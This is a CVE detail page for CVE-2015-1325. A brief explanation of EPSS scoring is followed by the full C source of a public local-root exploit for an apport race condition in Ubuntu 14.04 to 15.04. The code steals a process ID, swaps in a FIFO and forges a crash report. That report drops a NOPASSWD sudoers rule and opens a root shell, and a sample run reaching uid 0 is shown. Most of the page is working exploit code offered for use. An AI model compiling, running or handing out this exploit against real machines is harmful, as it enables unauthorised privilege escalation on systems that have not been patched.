CVE-2015-1325 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* # Exploit Title: apport/ubuntu local root race condition # Date: 2015-05-11 # Exploit Author: rebel # Version: ubuntu 14.04, 14.10, 15.04 # Tested on: ubuntu 14.04, 14.10, 15.04 # CVE : CVE-2015-1325 *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* CVE-2015-1325 / apport-pid-race.c apport race conditions ubuntu local root tested on ubuntu server 14.04, 14.10, 15.04 core dropping bug also works on older versions, but you can't write arbitrary contents. on 12.04 /etc/logrotate.d might work, didn't check. sudo and cron will complain if you drop a real ELF core file in sudoers.d/cron.d unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race created /var/crash/_bin_sleep.1002.crash crasher: my pid is 1308 apport stopped, pid = 1309 getting pid 1308 current pid = 1307..2500..5000..7500..10000........ ** child: current pid = 1308 ** child: executing /bin/su Password: sleeping 2s.. checker: mode 4532 waiting for file to be unlinked..writing to fifo fifo written.. wait... waiting for /etc/sudoers.d/core to appear.. checker: new mode 32768 .. done checker: SIGCONT checker: writing core checker: done success # id uid=0(root) gid=0(root) groups=0(root) 85ad63cf7248d7da46e55fa1b1c6fe01dea43749 2015-05-10 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <signal.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/resource.h> #include <unistd.h> #include <string.h> #include <sys/wait.h> char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May 9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307 /bin/sleep\nProcStatus:\n Name: sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n"; /* last line is the stuff we write to the corefile c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS) t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n' # need some non-ASCII bytes so it doesn't turn into a str() # which makes apport fail with the following error: # os.write(core_file, r['CoreDump']) # TypeError: 'str' does not support the buffer interface t = bytes(t,'latin1') c.compress(t) a = c.flush() import base64 base64.b64encode(a) # b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==' */ int apport_pid; char report[128]; void steal_pid(int wanted_pid) { int x, pid; pid = getpid(); fprintf(stderr,"getting pid %d\n", wanted_pid); fprintf(stderr,"current pid = %d..", pid); for(x = 0; x < 500000; x++) { pid = fork(); if(pid == 0) { pid = getpid(); if(pid % 2500 == 0) fprintf(stderr,"%d..", pid); if(pid == wanted_pid) { fprintf(stderr,"\n** child: current pid = %d\n", pid); fprintf(stderr,"** child: executing /bin/su\n"); execl("/bin/su", "su", NULL); } exit(0); return; } if(pid == wanted_pid) return; wait(NULL); } } void checker(void) { struct stat s; int fd, mode, x; stat(report, &s); fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode); mode = s.st_mode; while(1) { // poor man's pseudo-singlestepping kill(apport_pid, SIGCONT); kill(apport_pid, SIGSTOP); // need to wait a bit for the signals to be handled, // otherwise we'll miss when the new report file is created for(x = 0; x < 100000; x++); stat(report, &s); if(s.st_mode != mode) break; } fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode); unlink(report); mknod(report, S_IFIFO | 0666, 0); fprintf(stderr,"checker: SIGCONT\n"); kill(apport_pid, SIGCONT); fprintf(stderr,"checker: writing core\n"); fd = open(report, O_WRONLY); write(fd, crash_report, strlen(crash_report)); close(fd); fprintf(stderr,"checker: done\n"); while(1) sleep(1); } void crasher() { chdir("/etc/sudoers.d"); fprintf(stderr,"crasher: my pid is %d\n", getpid()); execl("/bin/sleep", "sleep", "1337", NULL); exit(0); } int main(void) { int pid, checker_pid, fd; struct rlimit limits; struct stat s; limits.rlim_cur = RLIM_INFINITY; limits.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &limits); pid = fork(); if(pid == 0) crasher(); sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid()); unlink(report); mknod(report, S_IFIFO | 0666, 0); fprintf(stderr,"created %s\n", report); usleep(300000); kill(pid, 11); apport_pid = pid + 1; // could check that pid+1 is actually apport here but it's // kind of likely fprintf(stderr,"apport stopped, pid = %d\n", apport_pid); usleep(300000); kill(pid, 9); steal_pid(pid); sleep(1); kill(apport_pid, SIGSTOP); checker_pid = fork(); if(checker_pid == 0) { checker(); exit(0); } fprintf(stderr,"sleeping 2s..\n"); sleep(2); fprintf(stderr,"writing to fifo\n"); fd = open(report, O_WRONLY); write(fd, crash_report, strlen(crash_report)); close(fd); fprintf(stderr,"fifo written.. wait...\n"); fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n"); while(1) { stat("/etc/sudoers.d/core", &s); if(s.st_size == 37) break; usleep(100000); } fprintf(stderr,"success\n"); kill(pid, 9); kill(checker_pid, 9); return system("sudo -- sh -c 'stty echo;sh -i'"); }